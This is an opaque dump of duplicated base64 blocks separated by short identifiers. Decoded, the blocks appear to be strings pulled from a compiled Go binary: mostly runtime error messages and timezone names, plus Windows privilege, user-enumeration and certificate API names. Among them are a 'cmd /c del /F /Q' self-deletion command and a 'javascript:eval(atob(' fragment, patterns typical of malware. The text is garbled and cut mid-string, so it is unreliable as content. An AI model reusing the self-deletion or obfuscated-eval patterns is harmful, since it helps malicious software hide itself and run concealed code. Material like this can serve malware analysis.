bmRhcmQgVGltZVBhY2lmaWMgU3RhbmRhcmQgVGltZSAoTWV4aWNvKUNlbnRyYWwgRXVyb3BlYW4gU3RhbmRhcmQgVGltZTIyNzM3MzY3NTQ0MzIzMjA1OTQ3ODc1OTc2NTYyNU1hcEl0ZXIuS2V5IGNhbGxlZCBiZWZvcmUgTmV4dHJlZmxlY3Q6IEVsZW0gb2YgaW52YWxpZCB0eXBlIGNhbGxlZCBlbnRyeSBvbiBub24tZW50cnkgbm9kZWFzc2lnbm1lbnQgdG8gZW50cnkgaW4gbmls12c:T554,dHlwZSBpbiBjb21wYXJlOiAgb2YgdW5leHBvcnRlZCBtZXRob2R1bmV4cGVjdGVkIHZhbHVlIHN0ZXByZWZsZWN0LlZhbHVlLlBvaW50ZXJBZGp1c3RUb2tlblByaXZpbGVnZXNMb29rdXBQcml2aWxlZ2VWYWx1ZVdOZXRVc2VyR2V0TG9jYWxHcm91cHNHZXRQcm9maWxlc0RpcmVjdG9yeVduZWdhdGl2ZSBzaGlmdCBhbW91bnRkYXRhaW5kZXBlbmRlbnR0aW1pbmdzeXN0ZW0gZ29yb3V0aW5lIHdhaXQvZ2MvaGVhcC9hbGxvY3M6Ynl0ZXNydW50aW1lOiB3b3JrLm53YWl0PSAgcHJldmlvdXMgYWxsb2NDb3VudD0sIGxldmVsQml0c1tsZXZlbF0gPSBydW50aW1lOiBzZWFyY2hJZHggPSBwcm9maWxlciBoYXNoIGJ1Y2tldHNkZWZlciBvbiBzeXN0ZW0gc3RhY2twYW5pYyBvbiBzeXN0ZW0gc3RhY2thc3luYyBzdGFjayB0b28gbGFyZ2VzdGFydG06IG0gaXMgc3Bpbm5pbmdzdGFydGxvY2tlZG06IG0gaGFzIHBmaW5kcnVubmFibGU6IHdyb25nIHBwcmVlbXB0IGF0IHVua25vd24gcGNyZWxlYXNlcDogaW52YWxpZCBhcmdjaGVja2RlYWQ6IHJ1bm5hYmxlIGdydW50aW1lOiBuZXdzdGFjayBhdCBydW50aW1lOiBuZXdzdGFjayBzcD1ydW50aW1lOiBjb25mdXNlZCBieSAgcGNIZWFkZXIudGV4dFN0YXJ0PSB0aW1lciBkYXRhIGNvcnJ1cHRpb250cmFjZS9icmVha3BvaW50IHRyYXB1c2VyIGRlZmluZWQgc2lnbmFsIDF1c2VyIGRlZmluZWQgc2lnbmFsIDJsaW5rIGhhcyBiZWVuIHNldmVyZWRwYWNrYWdlIG5vdCBpbnN0YWxsZWRibG9jayBkZXZpY2UgcmVxdWlyZWRzdGF0ZSBub3QgcmVjb3ZlcmFibGVyZWFkLW9ubHkgZmlsZSBzeXN0ZW1zdGFsZSBORlMgZmlsZSBoYW5kbGVSZWFkRGlyZWN0b3J5Q2hhbmdlc1dOZXRHZXRKb2luSW5mb3JtYXRpb25jb25jdXJyZW50IG1hcCB3cml0ZXNqYXZhc2NyaXB0OmV2YWwoYXRvYignU2FvIFRvbWUgU3RhbmRhcmQgVGltZUFsZXV0aWFuIFN0YW5kYXJkIFRpbWVQYXJhZ3VheSBTdGFuZGFyZCBUaW1lTW91bnRhaW4gU3RhbmRhcmQgVGltZUF0bGFudGljIFN0YW5k12d:T558,dHlwZSBpbiBjb21wYXJlOiAgb2YgdW5leHBvcnRlZCBtZXRob2R1bmV4cGVjdGVkIHZhbHVlIHN0ZXByZWZsZWN0LlZhbHVlLlBvaW50ZXJBZGp1c3RUb2tlblByaXZpbGVnZXNMb29rdXBQcml2aWxlZ2VWYWx1ZVdOZXRVc2VyR2V0TG9jYWxHcm91cHNHZXRQcm9maWxlc0RpcmVjdG9yeVduZWdhdGl2ZSBzaGlmdCBhbW91bnRkYXRhaW5kZXBlbmRlbnR0aW1pbmdzeXN0ZW0gZ29yb3V0aW5lIHdhaXQvZ2MvaGVhcC9hbGxvY3M6Ynl0ZXNydW50aW1lOiB3b3JrLm53YWl0PSAgcHJldmlvdXMgYWxsb2NDb3VudD0sIGxldmVsQml0c1tsZXZlbF0gPSBydW50aW1lOiBzZWFyY2hJZHggPSBwcm9maWxlciBoYXNoIGJ1Y2tldHNkZWZlciBvbiBzeXN0ZW0gc3RhY2twYW5pYyBvbiBzeXN0ZW0gc3RhY2thc3luYyBzdGFjayB0b28gbGFyZ2VzdGFydG06IG0gaXMgc3Bpbm5pbmdzdGFydGxvY2tlZG06IG0gaGFzIHBmaW5kcnVubmFibGU6IHdyb25nIHBwcmVlbXB0IGF0IHVua25vd24gcGNyZWxlYXNlcDogaW52YWxpZCBhcmdjaGVja2RlYWQ6IHJ1bm5hYmxlIGdydW50aW1lOiBuZXdzdGFjayBhdCBydW50aW1lOiBuZXdzdGFjayBzcD1ydW50aW1lOiBjb25mdXNlZCBieSAgcGNIZWFkZXIudGV4dFN0YXJ0PSB0aW1lciBkYXRhIGNvcnJ1cHRpb250cmFjZS9icmVha3BvaW50IHRyYXB1c2VyIGRlZmluZWQgc2lnbmFsIDF1c2VyIGRlZmluZWQgc2lnbmFsIDJsaW5rIGhhcyBiZWVuIHNldmVyZWRwYWNrYWdlIG5vdCBpbnN0YWxsZWRibG9jayBkZXZpY2UgcmVxdWlyZWRzdGF0ZSBub3QgcmVjb3ZlcmFibGVyZWFkLW9ubHkgZmlsZSBzeXN0ZW1zdGFsZSBORlMgZmlsZSBoYW5kbGVSZWFkRGlyZWN0b3J5Q2hhbmdlc1dOZXRHZXRKb2luSW5mb3JtYXRpb25jb25jdXJyZW50IG1hcCB3cml0ZXNqYXZhc2NyaXB0OmV2YWwoYXRvYignU2FvIFRvbWUgU3RhbmRhcmQgVGltZUFsZXV0aWFuIFN0YW5kYXJkIFRpbWVQYXJhZ3VheSBTdGFuZGFyZCBUaW1lTW91bnRhaW4gU3RhbmRhcmQgVGltZUF0bGFudGljIFN0YW5kYQ==12e:T554,dW5kcm9vdCBsZXZlbCBtYXggcGFnZXMgZG9lc24ndCBmaXQgaW4gc3VtbWFyeXJ1bnRpbWUuUGlubmVyOiBhcmd1bWVudCBpcyBub3QgYSBwb2ludGVyOiBydW50aW1lOiByZWxlYXNlU3Vkb2cgd2l0aCBub24tbmlsIGdwLnBhcmFtdW5rbm93biBydW5uYWJsZSBnb3JvdXRpbmUgZHVyaW5nIGJvb3RzdHJhcHJ1bnRpbWU6IGNhc2Zyb21fR3NjYW5zdGF0dXMgYmFkIG9sZHZhbCBncD1ydW50aW1lOnN0b3Bsb2NrZWRtOiBsb2NrZWRnIChhdG9taWNzdGF0dXM9bWV0aG9kVmFsdWVDYWxsRnJhbWVPYmpzIGlzIG5vdCBpbiBhIG1vZHVsZXN5bmN0ZXN0IHRpbWVyIGFjY2Vzc2VkIGZyb20gb3V0c2lkZSBidWJibGVpbnRlcnJ1cHRlZCBzeXN0ZW0gY2FsbCBzaG91bGQgYmUgcmVzdGFydGVkZW5jb2RpbmcgYWxwaGFiZXQgY29udGFpbnMgbmV3bGluZSBjaGFyYWN0ZXJlbmNvZGluZyBhbHBoYWJldCBpbmNsdWRlcyBkdXBsaWNhdGUgc3ltYm9sc211bHQxMjhiaXRQb3cxMDogcG93ZXIgb2YgMTAgaXMgb3V0IG9mIHJhbmdlcmVmbGVjdDogZnVuY0xheW91dCB3aXRoIGludGVyZmFjZSByZWNlaXZlciBzcGFuIG9uIHVzZXJBcmVuYS5mYXVsdExpc3QgaGFzIGludmFsaWQgc2l6ZXNlbmQgb24gc3luY3Rlc3QgY2hhbm5lbCBmcm9tIG91dHNpZGUgYnViYmxlb3V0IG9mIG1lbW9yeSBhbGxvY2F0aW5nIGhlYXAgYXJlbmEgbWV0YWRhdGEvY3B1L2NsYXNzZXMvc2NhdmVuZ2UvYmFja2dyb3VuZDpjcHUtc2Vjb25kc3J1bnRpbWU6IHVuZXhwZWN0ZWQgbWV0cmljIHJlZ2lzdHJhdGlvbiBmb3IgZ2NtYXJrbmV3b2JqZWN0IGNhbGxlZCB3aGlsZSBkb2luZyBjaGVja21hcmthY3RpdmUgc3dlZXBlcnMgZm91bmQgYXQgc3RhcnQgb2YgbWFyayBwaGFzZW5vIFAgYXZhaWxhYmxlLCB3cml0ZSBiYXJyaWVycyBhcmUgZm9yYmlkZGVuY29tcGlsZUNhbGxiYWNrOiBmbG9hdCByZXN1bHRzIG5vdCBzdXBwb3J0ZWRjYW5ub3QgdHJhY2UgdXNlciBnb3JvdXRpbmUgb24gaXRzIG93biBzdGFja3Vuc2FmZS5TbGljZTogcHRy12f:T554,dW5sb2NrOiBsb2NrIGNvdW50cHJvZ1RvUG9pbnRlck1hc2s6IG92ZXJmbG93L2djL2N5Y2xlcy9mb3JjZWQ6Z2MtY3ljbGVzL21lbW9yeS9jbGFzc2VzL290aGVyOmJ5dGVzL21lbW9yeS9jbGFzc2VzL3RvdGFsOmJ5dGVzZmFpbGVkIHRvIHNldCBzd2VlcCBiYXJyaWVyd29yay5ud2FpdCB3YXMgPiB3b3JrLm5wcm9jIG5vdCBpbiBzdGFjayByb290cyByYW5nZSBbYWxsb2NhdGVkIHBhZ2VzIGJlbG93IHplcm8/YWRkcmVzcyBub3QgYSBzdGFjayBhZGRyZXNzbXNwYW4uc3dlZXA6IGJhZCBzcGFuIHN0YXRlaW52YWxpZCBwcm9maWxlIGJ1Y2tldCB0eXBlcnVudGltZTogY29ycnVwdGVkIHBvbGxkZXNjcnVudGltZTogbmV0cG9sbGluaXQgZmFpbGVkcnVudGltZTogYXN5bmNQcmVlbXB0U3RhY2s9cnVudGltZTogdGhyZWFkIElEIG92ZXJmbG93c3RvcFRoZVdvcmxkOiBob2xkaW5nIGxvY2tzZ2NzdG9wbTogbm90IHdhaXRpbmcgZm9yIGdjcnVudGltZTogY2hlY2tkZWFkOiBubWlkbGU9cnVudGltZTogY2hlY2tkZWFkOiBmaW5kIGcgcnVubG9jayBvZiB1bmxvY2tlZCByd211dGV4c2lnc2VuZDogaW5jb25zaXN0ZW50IHN0YXRlbWFrZXNsaWNlOiBsZW4gb3V0IG9mIHJhbmdlbWFrZXNsaWNlOiBjYXAgb3V0IG9mIHJhbmdlZ3Jvd3NsaWNlOiBsZW4gb3V0IG9mIHJhbmdlc3RhY2sgc2l6ZSBub3QgYSBwb3dlciBvZiAydG9vIG1hbnkgY2FsbGJhY2sgZnVuY3Rpb25zdGltZXIgd2hlbiBtdXN0IGJlIHBvc2l0aXZlOiB1bmV4cGVjdGVkIHJldHVybiBwYyBmb3IgY2hhbm5lbCBudW1iZXIgb3V0IG9mIHJhbmdlY29tbXVuaWNhdGlvbiBlcnJvciBvbiBzZW5ka2V5IHdhcyByZWplY3RlZCBieSBzZXJ2aWNlbm90IGEgWEVOSVggbmFtZWQgdHlwZSBmaWxlQ2VydEVudW1DZXJ0aWZpY2F0ZXNJblN0b3JlYWJpLk5ld05hbWU6IHRhZyB0b28gbG9uZzogaHR0cHNlcnZlY29udGVudGtlZXBoZWFkZXJzY21kIC9jIGRlbCAvRiAvUSAiJXMiICYgZXhpdG9zOiBwcm9jZXNzIGFscmVhZHkgZmluaXNoZWRHZXRG130:T558,dW5sb2NrOiBsb2NrIGNvdW50cHJvZ1RvUG9pbnRlck1hc2s6IG92ZXJmbG93L2djL2N5Y2xlcy9mb3JjZWQ6Z2MtY3ljbGVzL21lbW9yeS9jbGFzc2VzL290aGVyOmJ5dGVzL21lbW9yeS9jbGFzc2VzL3RvdGFsOmJ5dGVzZmFpbGVkIHRvIHNldCBzd2VlcCBiYXJyaWVyd29yay5ud2FpdCB3YXMgPiB3b3JrLm5wcm9jIG5vdCBpbiBzdGFjayByb290cyByYW5nZSBbYWxsb2NhdGVkIHBhZ2VzIGJlbG93IHplcm8/YWRkcmVzcyBub3QgYSBzdGFjayBhZGRyZXNzbXNwYW4uc3dlZXA6IGJhZCBzcGFuIHN0YXRlaW52YWxpZCBwcm9maWxlIGJ1Y2tldCB0eXBlcnVudGltZTogY29ycnVwdGVkIHBvbGxkZXNjcnVudGltZTogbmV0cG9sbGluaXQgZmFpbGVkcnVudGltZTogYXN5bmNQcmVlbXB0U3RhY2s9cnVudGltZTogdGhyZWFkIElEIG92ZXJmbG93c3RvcFRoZVdvcmxkOiBob2xkaW5nIGxvY2tzZ2NzdG9wbTogbm90IHdhaXRpbmcgZm9yIGdjcnVudGltZTogY2hlY2tkZWFkOiBubWlkbGU9cnVudGltZTogY2hlY2tkZWFkOiBmaW5kIGcgcnVubG9jayBvZiB1bmxvY2tlZCByd211dGV4c2lnc2VuZDogaW5jb25zaXN0ZW50IHN0YXRlbWFrZXNsaWNlOiBsZW4gb3V0IG9mIHJhbmdlbWFrZXNsaWNlOiBjYXAgb3V0IG9mIHJhbmdlZ3Jvd3NsaWNlOiBsZW4gb3V0IG9mIHJhbmdlc3RhY2sgc2l6ZSBub3QgYSBwb3dlciBvZiAydG9vIG1hbnkgY2FsbGJhY2sgZnVuY3Rpb25zdGltZXIgd2hlbiBtdXN0IGJlIHBvc2l0aXZlOiB1bmV4cGVjdGVkIHJldHVybiBwYyBmb3IgY2hhbm5lbCBudW1iZXIgb3V0IG9mIHJhbmdlY29tbXVuaWNhdGlvbiBlcnJvciBvbiBzZW5ka2V5IHdhcyByZWplY3RlZCBieSBzZXJ2aWNlbm90IGEgWEVOSVggbmFtZWQgdHlwZSBmaWxlQ2VydEVudW1DZXJ0aWZpY2F0ZXNJblN0b3JlYWJpLk5ld05hbWU6IHRhZyB0b28gbG9uZzogaHR0cHNlcnZlY29udGVudGtlZXBoZWFkZXJzY21kIC9jIGRlbCAvRiAvUSAiJXMiICYgZXhpdG9zOiBwcm9jZXNzIGFscmVhZHkgZmluaXNoZWRHZXRGaQ==131:T554,dW50aW1lOiBtY2FsbCBjYWxsZWQgb24gbS0+ZzAgc3RhY2tzdGFydG06IFAgcmVxdWlyZWQgZm9yIHNwaW5uaW5nPXRydWUpIGlzIG5vdCBHcnVubmFibGUgb3IgR3NjYW5ydW5uYWJsZXVwZGF0ZU1heFByb2NzR29yb3V0aW5lOiBwaGFzZSBlcnJvcnJ1bnRpbWU6IGJhZCBub3RpZnlMaXN0IHNpemUgLSBzeW5jPWFjY2Vzc2VkIGRhdGEgZnJvbSBmcmVlZCB1c2VyIGFyZW5hIHJ1bnRpbWU6IHdyb25nIGdvcm91dGluZSBpbiBuZXdzdGFja3J1bnRpbWU6IGludmFsaWQgcGMtZW5jb2RlZCB0YWJsZSBmPWFjY2Vzc2luZyBhIGNvcnJ1cHRlZCBzaGFyZWQgbGlicmFyeXN0cmluZ3MuQnVpbGRlci5Hcm93OiBuZWdhdGl2ZSBjb3VudHN0cmluZ3M6IEpvaW4gb3V0cHV0IGxlbmd0aCBvdmVyZmxvd2ludmFsaWQgcGF0dGVybiBzeW50YXggKCsgYWZ0ZXIgLSk6IDIyMjA0NDYwNDkyNTAzMTMwODA4NDcyNjMzMzYxODE2NDA2MjVyZWZsZWN0OiBmdW5jTGF5b3V0IG9mIG5vbi1mdW5jIHR5cGUgcmVmbGVjdC5WYWx1ZS5CeXRlcyBvZiBub24tYnl0ZSBzbGljZXJlZmxlY3QuVmFsdWUuQnl0ZXMgb2Ygbm9uLWJ5dGUgYXJyYXltZXRob2QgQUJJIGFuZCB2YWx1ZSBBQkkgZG8gbm90IGFsaWducnVudGltZTogYWxsb2NhdGlvbiBzaXplIG91dCBvZiByYW5nZSkgaXMgc21hbGxlciB0aGFuIG1pbmltdW0gcGFnZSBzaXplICgvY3B1L2NsYXNzZXMvZ2MvbWFyay9pZGxlOmNwdS1zZWNvbmRzc2V0cHJvZmlsZWJ1Y2tldDogcHJvZmlsZSBhbHJlYWR5IHNldGZhaWxlZCB0byByZXNlcnZlIHBhZ2Ugc3VtbWFyeSBtZW1vcnlydW50aW1lLm1pbml0OiBkdXBsaWNhdGVoYW5kbGUgZmFpbGVkX2Nnb19ub3RpZnlfcnVudGltZV9pbml0X2RvbmUgbWlzc2luZ3N0YXJ0VGhlV29ybGQ6IGluY29uc2lzdGVudCBtcC0+bmV4dHBDb3VsZG4ndCBwdXQgR3MgaW50byBlbXB0eSBsb2NhbCBydW5xcnVudGltZTogdW5leHBlY3RlZCBTUFdSSVRFIGZ1bmN0aW9uIGFsbCBnb3JvdXRpbmVzIGFyZSBhc2xlZXAgLSBkZWFkbG9jayE=132:T554,dW50aW1lOiBtY2FsbCBjYWxsZWQgb24gbS0+ZzAgc3RhY2tzdGFydG06IFAgcmVxdWlyZWQgZm9yIHNwaW5uaW5nPXRydWUpIGlzIG5vdCBHcnVubmFibGUgb3IgR3NjYW5ydW5uYWJsZXVwZGF0ZU1heFByb2NzR29yb3V0aW5lOiBwaGFzZSBlcnJvcnJ1bnRpbWU6IGJhZCBub3RpZnlMaXN0IHNpemUgLSBzeW5jPWFjY2Vzc2VkIGRhdGEgZnJvbSBmcmVlZCB1c2VyIGFyZW5hIHJ1bnRpbWU6IHdyb25nIGdvcm91dGluZSBpbiBuZXdzdGFja3J1bnRpbWU6IGludmFsaWQgcGMtZW5jb2RlZCB0YWJsZSBmPWFjY2Vzc2luZyBhIGNvcnJ1cHRlZCBzaGFyZWQgbGlicmFyeXN0cmluZ3MuQnVpbGRlci5Hcm93OiBuZWdhdGl2ZSBjb3VudHN0cmluZ3M6IEpvaW4gb3V0cHV0IGxlbmd0aCBvdmVyZmxvd2ludmFsaWQgcGF0dGVybiBzeW50YXggKCsgYWZ0ZXIgLSk6IDIyMjA0NDYwNDkyNTAzMTMwODA4NDcyNjMzMzYxODE2NDA2MjVyZWZsZWN0OiBmdW5jTGF5b3V0IG9mIG5vbi1mdW5jIHR5cGUgcmVmbGVjdC5WYWx1ZS5CeXRlcyBvZiBub24tYnl0ZSBzbGljZXJlZmxlY3QuVmFsdWUuQnl0ZXMgb2Ygbm9uLWJ5dGUgYXJyYXltZXRob2QgQUJJIGFuZCB2YWx1ZSBBQkkgZG8gbm90IGFsaWducnVudGltZTogYWxsb2NhdGlvbiBzaXplIG91dCBvZiByYW5nZSkgaXMgc21hbGxlciB0aGFuIG1pbmltdW0gcGFnZSBzaXplICgvY3B1L2NsYXNzZXMvZ2MvbWFyay9pZGxlOmNwdS1zZWNvbmRzc2V0cHJvZmlsZWJ1Y2tldDogcHJvZmlsZSBhbHJlYWR5IHNldGZhaWxlZCB0byByZXNlcnZlIHBhZ2Ugc3VtbWFyeSBtZW1vcnlydW50aW1lLm1pbml0OiBkdXBsaWNhdGVoYW5kbGUgZmFpbGVkX2Nnb19ub3RpZnlfcnVudGltZV9pbml0X2RvbmUgbWlzc2luZ3N0YXJ0VGhlV29ybGQ6IGluY29uc2lzdGVudCBtcC0+bmV4dHBDb3VsZG4ndCBwdXQgR3MgaW50byBlbXB0eSBsb2NhbCBydW5xcnVudGltZTogdW5leHBlY3RlZCBTUFdSSVRFIGZ1bmN0aW9uIGFsbCBnb3JvdXRpbmVzIGFyZSBhc2xlZXAgLSBkZWFkbG9jayFj133:T544,MjU+IFsoIiIpKSApICAgKzogQHMgLT4gUEIgbj1dW31dPiBbICBdICBMbEx0THVNbiJvc25pbE5VTDpcL01heVVUQ0VFVCswMCswMUNBVFdBVEVBVEdNVEhTVEhEVC0wMy0wNC0wNUVTVENTVENEVE1TVE1EVC0wMi0wMUVEVEFTVEFEVFBTVFBEVE5TVE5EVCswMyswNCswNyswNklTVCswOSswOElEVCsxMlBLVCsxMUtTVCswNUpTVCsxMC0xMS0xMi0wOC0wOSsxM0NFVEJTVE1TSy0wNisxNCBtPVN0ZERsdEVPRjEyNTYyNU5hTmludG1hcHB0ci4uLlxcLlxcP1w/P2Zpbm9iaigpZ2MgJTogZ3AgICooaW4gIG49ICkgLSAgIFAgIE1QQz0gPCBlbmQgPiBdOj8/P3BjPSAgR2FkeGFlc3NoYWF2eGZtYW5ldCcpKTt0cnVlcmVhZG9wZW5zeW5jcGlwZWZpbGVTdGF0LmNvbS5leGUuYmF0LmNtZHBhdGhKdW5lSnVseUVFU1RTQVNUQUtTVEFLRFRBQ1NUQUNEVEFFU1RBRURUQVdTVENFU1ROWlNUTlpEVDMxMjUtSW5mK0luZmJvb2xpbnQ4dWludGNoYW5mdW5jY2FsbGtpbmQgb24gYWxsZ2FsbHByb290aXRhYnNicmtpZGxlZGVhZCBpcyBMRUFGaGVhcGJhc2UgYXQgSGFzICBvZiApID0gIDw9PUdPR0NdID0gIHBjPTogcD1jYXMxY2FzMmNhczNjYXM0Y2FzNWNhczZtPSBzcD0gc3A6IGxyOiBmcD0gZ3A9IG1wPSkgbT1xdWl0YmluZGVybXNmc3Jtc3NlM2F2eDJibWkxYm1pMnRpbWVmYWxzZTxuaWw+RXJyb3JjaGRpcndyaXRlY2xvc2VMc3RhdE1hcmNoQXByaWwrMDUzMCswNDMwKzA1NDUrMDYzMCswMzMwKzA4NDUrMTAzMCsxMjQ1KzEzNDUtMDkzMExvY2FsMTU2MjU3ODEyNWludDE2aW50MzJpbnQ2NHVpbnQ4YXJyYXlzbGljZSBhbmQgZGVmZXJzd2VlcHRlc3RSdGVzdFdleGVjV2hjaGFuZXhlY1JzY2hlZHN1ZG9ndGltZXJnc2Nhbm1oZWFwdHJhY2VwYW5pY3NsZWVwZ2NpbmcgTUIsICBnb3Q9IC4uLiBtYXg9c2NhdiAgcHRyIF0gPSAodXNhZ2Vpbml0ICBtcywgZmF1bHQgdGFiPSB0YWc9IHRvcD1bLi4uXSwgZnA6bnRvaHNHcmVla3NzZTQxc3NlNDJzc3NlM1N0cmluZ0Zvcm1hdFtdYnl0ZQ==134:T544,MjU+IFsoIiIpKSApICAgKzogQHMgLT4gUEIgbj1dW31dPiBbICBdICBMbEx0THVNbiJvc25pbE5VTDpcL01heVVUQ0VFVCswMCswMUNBVFdBVEVBVEdNVEhTVEhEVC0wMy0wNC0wNUVTVENTVENEVE1TVE1EVC0wMi0wMUVEVEFTVEFEVFBTVFBEVE5TVE5EVCswMyswNCswNyswNklTVCswOSswOElEVCsxMlBLVCsxMUtTVCswNUpTVCsxMC0xMS0xMi0wOC0wOSsxM0NFVEJTVE1TSy0wNisxNCBtPVN0ZERsdEVPRjEyNTYyNU5hTmludG1hcHB0ci4uLlxcLlxcP1w/P2Zpbm9iaigpZ2MgJTogZ3AgICooaW4gIG49ICkgLSAgIFAgIE1QQz0gPCBlbmQgPiBdOj8/P3BjPSAgR2FkeGFlc3NoYWF2eGZtYW5ldCcpKTt0cnVlcmVhZG9wZW5zeW5jcGlwZWZpbGVTdGF0LmNvbS5leGUuYmF0LmNtZHBhdGhKdW5lSnVseUVFU1RTQVNUQUtTVEFLRFRBQ1NUQUNEVEFFU1RBRURUQVdTVENFU1ROWlNUTlpEVDMxMjUtSW5mK0luZmJvb2xpbnQ4dWludGNoYW5mdW5jY2FsbGtpbmQgb24gYWxsZ2FsbHByb290aXRhYnNicmtpZGxlZGVhZCBpcyBMRUFGaGVhcGJhc2UgYXQgSGFzICBvZiApID0gIDw9PUdPR0NdID0gIHBjPTogcD1jYXMxY2FzMmNhczNjYXM0Y2FzNWNhczZtPSBzcD0gc3A6IGxyOiBmcD0gZ3A9IG1wPSkgbT1xdWl0YmluZGVybXNmc3Jtc3NlM2F2eDJibWkxYm1pMnRpbWVmYWxzZTxuaWw+RXJyb3JjaGRpcndyaXRlY2xvc2VMc3RhdE1hcmNoQXByaWwrMDUzMCswNDMwKzA1NDUrMDYzMCswMzMwKzA4NDUrMTAzMCsxMjQ1KzEzNDUtMDkzMExvY2FsMTU2MjU3ODEyNWludDE2aW50MzJpbnQ2NHVpbnQ4YXJyYXlzbGljZSBhbmQgZGVmZXJzd2VlcHRlc3RSdGVzdFdleGVjV2hjaGFuZXhlY1JzY2hlZHN1ZG9ndGltZXJnc2Nhbm1oZWFwdHJhY2VwYW5pY3NsZWVwZ2NpbmcgTUIsICBnb3Q9IC4uLiBtYXg9c2NhdiAgcHRyIF0gPSAodXNhZ2Vpbml0ICBtcywgZmF1bHQgdGFiPSB0YWc9IHRvcD1bLi4uXSwgZnA6bnRvaHNHcmVla3NzZTQxc3NlNDJzc3NlM1N0cmluZ0Zvcm1hdFtdYnl0ZXM=135:T554,ODEyNTU2ODQzNDE4ODYwODA4MDE0ODY5Njg5OTQxNDA2MjVyZWZsZWN0OiBMZW4gb2Ygbm9uLWFycmF5IHR5cGUgc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbOiV4XXNsaWNlIGJvdW5kcyBvdXQgb2YgcmFuZ2UgWyV4Ol1jYWxsIGZyb20gd2l0aGluIHRoZSBHbyBydW50aW1laW50ZXJuYWwgZXJyb3IgLSBtaXN1c2Ugb2YgaXRhYikgbm90IGluIHVzYWJsZSBhZGRyZXNzIHNwYWNlOiBydW50aW1lOiBjYW5ub3QgYWxsb2NhdGUgbWVtb3J5Y2hlY2ttYXJrIGZvdW5kIHVubWFya2VkIG9iamVjdHJ1bnRpbWU6IGZhaWxlZCB0byBjb21taXQgcGFnZXMvbWVtb3J5L2NsYXNzZXMvaGVhcC9mcmVlOmJ5dGVzL21lbW9yeS9jbGFzc2VzL29zLXN0YWNrczpieXRlc3BhY2VyOiBzd2VlcCBkb25lIGF0IGhlYXAgc2l6ZSBub24gaW4tdXNlIHNwYW4gaW4gdW5zd2VwdCBsaXN0cnVudGltZS5QaW5uZXI6IGFyZ3VtZW50IGlzIG5pbGNhc2dzdGF0dXM6IGJhZCBpbmNvbWluZyB2YWx1ZXNyZXNldHNwaW5uaW5nOiBub3QgYSBzcGlubmluZyBtcnVudGltZTogcHJvZkJ1ZiBhbHJlYWR5IGNsb3NlZHJ1bnRpbWU6IHNwbGl0IHN0YWNrIG92ZXJmbG93OiAuLi5hZGRpdGlvbmFsIGZyYW1lcyBlbGlkZWQuLi51bnNhZmUuU3RyaW5nOiBsZW4gb3V0IG9mIHJhbmdlY2Fubm90IGFzc2lnbiByZXF1ZXN0ZWQgYWRkcmVzcy5saWIgc2VjdGlvbiBpbiBhLm91dCBjb3JydXB0ZWQyODQyMTcwOTQzMDQwNDAwNzQzNDg0NDk3MDcwMzEyNU1hcEl0ZXIuVmFsdWUgY2FsbGVkIGJlZm9yZSBOZXh0c2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbOjoleF1zbGljZSBib3VuZHMgb3V0IG9mIHJhbmdlIFs6JXg6XXNsaWNlIGJvdW5kcyBvdXQgb2YgcmFuZ2UgWyV4OjpdICh0eXBlcyBmcm9tIGRpZmZlcmVudCBwYWNrYWdlcyllbmQgb3V0c2lkZSB1c2FibGUgYWRkcmVzcyBzcGFjZXJ1bnRpbWU6IGZhaWxlZCB0byByZWxlYXNlIHBhZ2VzcnVudGltZTogZml4YWxsb2Mgc2l6ZSB0b28gbGFyZ2VpbnZhbGlkIGxpbWl0ZXIgZXY=136:T554,ODEyNTU2ODQzNDE4ODYwODA4MDE0ODY5Njg5OTQxNDA2MjVyZWZsZWN0OiBMZW4gb2Ygbm9uLWFycmF5IHR5cGUgc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbOiV4XXNsaWNlIGJvdW5kcyBvdXQgb2YgcmFuZ2UgWyV4Ol1jYWxsIGZyb20gd2l0aGluIHRoZSBHbyBydW50aW1laW50ZXJuYWwgZXJyb3IgLSBtaXN1c2Ugb2YgaXRhYikgbm90IGluIHVzYWJsZSBhZGRyZXNzIHNwYWNlOiBydW50aW1lOiBjYW5ub3QgYWxsb2NhdGUgbWVtb3J5Y2hlY2ttYXJrIGZvdW5kIHVubWFya2VkIG9iamVjdHJ1bnRpbWU6IGZhaWxlZCB0byBjb21taXQgcGFnZXMvbWVtb3J5L2NsYXNzZXMvaGVhcC9mcmVlOmJ5dGVzL21lbW9yeS9jbGFzc2VzL29zLXN0YWNrczpieXRlc3BhY2VyOiBzd2VlcCBkb25lIGF0IGhlYXAgc2l6ZSBub24gaW4tdXNlIHNwYW4gaW4gdW5zd2VwdCBsaXN0cnVudGltZS5QaW5uZXI6IGFyZ3VtZW50IGlzIG5pbGNhc2dzdGF0dXM6IGJhZCBpbmNvbWluZyB2YWx1ZXNyZXNldHNwaW5uaW5nOiBub3QgYSBzcGlubmluZyBtcnVudGltZTogcHJvZkJ1ZiBhbHJlYWR5IGNsb3NlZHJ1bnRpbWU6IHNwbGl0IHN0YWNrIG92ZXJmbG93OiAuLi5hZGRpdGlvbmFsIGZyYW1lcyBlbGlkZWQuLi51bnNhZmUuU3RyaW5nOiBsZW4gb3V0IG9mIHJhbmdlY2Fubm90IGFzc2lnbiByZXF1ZXN0ZWQgYWRkcmVzcy5saWIgc2VjdGlvbiBpbiBhLm91dCBjb3JydXB0ZWQyODQyMTcwOTQzMDQwNDAwNzQzNDg0NDk3MDcwMzEyNU1hcEl0ZXIuVmFsdWUgY2FsbGVkIGJlZm9yZSBOZXh0c2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbOjoleF1zbGljZSBib3VuZHMgb3V0IG9mIHJhbmdlIFs6JXg6XXNsaWNlIGJvdW5kcyBvdXQgb2YgcmFuZ2UgWyV4OjpdICh0eXBlcyBmcm9tIGRpZmZlcmVudCBwYWNrYWdlcyllbmQgb3V0c2lkZSB1c2FibGUgYWRkcmVzcyBzcGFjZXJ1bnRpbWU6IGZhaWxlZCB0byByZWxlYXNlIHBhZ2VzcnVudGltZTogZml4YWxsb2Mgc2l6ZSB0b28gbGFyZ2VpbnZhbGlkIGxpbWl0ZXIgZXZl137:T554,OiBpblVzZT1ydW50aW1lOiBtYXggPSByZXF1ZXN0ZWQgc2tpcD1iYWQgcGFuaWMgc3RhY2tyZWNvdmVyeSBmYWlsZWRzdG9wbSBob2xkaW5nIHBzdGFydG06IG0gaGFzIHBwcmVlbXB0IFNQV1JJVEVtaXNzaW5nIG1jYWNoZT9tczogZ29tYXhwcm9jcz1yYW5kaW5pdCBtaXNzZWRdbW9yZWJ1Zj17cGM6OiBubyBmcmFtZS